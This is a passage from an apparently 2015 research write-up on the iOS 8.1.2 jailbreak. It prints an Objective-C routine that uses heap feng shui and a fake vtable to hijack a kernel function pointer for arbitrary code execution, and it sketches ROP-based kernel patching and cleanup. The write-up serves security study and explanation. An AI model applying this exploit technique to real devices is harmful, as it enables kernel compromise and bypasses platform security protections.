  2. Calculate the actual address for the mapped memory in kernel through kernel read
  3. Construct and populate a virtual function table to the mapped memory
  4. Use the exploit to overwrite the memory of a small object, but the main purpose of Payload construction is to rewrite the function pointer
  5. Call Hacked object methods, such as release, to control PC pointer
(void)arbitraryExecutationDemo
{
    mach_port_name_t port_960 = 0;
    [self prepareReceivePort1:NULL port2:&port_960];
 
    io_connect_t fengshuiObjBuf[PRTS_ContinuousMemoryCount] = {0};
    mach_vm_address_t firstObjectKAddr = NULL;
    mach_vm_address_t lastObjectKAddr = NULL;
    [self allocObjects:fengshuiObjBuf
      firstObjectKAddr:&firstObjectKAddr
       lastObjectKAddr:&lastObjectKAddr];
 
    _fengshui_not_released_obj_count = PRTS_FengshuiObjectCountKeep;
 
    uint8_t ool_buf_960[0x400] = {0};
    [self constructArbitraryExePayload:ool_buf_960
                         vtableAddress:_fake_port_kernel_address_base];
 
    [self doFengshuiRelease2:fengshuiObjBuf];
    [self waitFengshuiService];
 
    [self triggerExploit];
 
    [self allocVMCopy:port_960
                 size:960
               buffer:ool_buf_960
      descriptorCount:2];
 
    [self releaseResource];
 
    io_connect_t hacked_connection =
    fengshuiObjBuf[PRTS_ContinuousMemoryCount - _fengshui_not_released_obj_count - 1];
 
    printf("[+] start to trigger arbitrary executation, device will reboot\n");
    IOServiceClose(hacked_connection);
    [self waitFengshuiService];
    printf("[+] success to trigger arbitrary executation, device will reboot\n");
}
table 26-trigger arbitrary code execution

Figure 10-rewrite the results of the virtual function table

After finishing arbitrary code execution, you can implement kernel write in a further way. The idea is: to create a ROP chain to execute memcpy.
The above only describes how to use exploits, the jailbreak tool needs to implement Kernel Patch Finder to search for ROP Gadgets and construct the ROP chain to patch related security mechanisms of the kernel.

8.Fix and Cleaning

The fix and cleaning work done by the jailbreak tool includes:
  1. Fix heap status. This is destructed during exploitation, which leads the kernel to be unstable.
  2. Fix some service status in user space.

0x05 Conclusion

The above discusses the process of a jailbreak, the exploits required for a jailbreak and some exploitation ideas. I wish you may find it helpful. At last, there are several points to illustrate:
  1. During the process of iOS 8.1.2 jailbreak, there are 7 seven exploits used, 4 in user space and 3 in kernel space. As can been seen, user space defense plays an important part in jailbreak and the exploits in suer space are almost logic exploits. Such exploits will be less and less.
  2. The above post only covers the exploits used in jailbreak. But in real development of a jailbreak tool, producibility is an important factor. Specifically speaking, it refers to stability and compatibility. This shows it’s not easy to develop a jailbreak tool.
------
Proteas
2015-06-25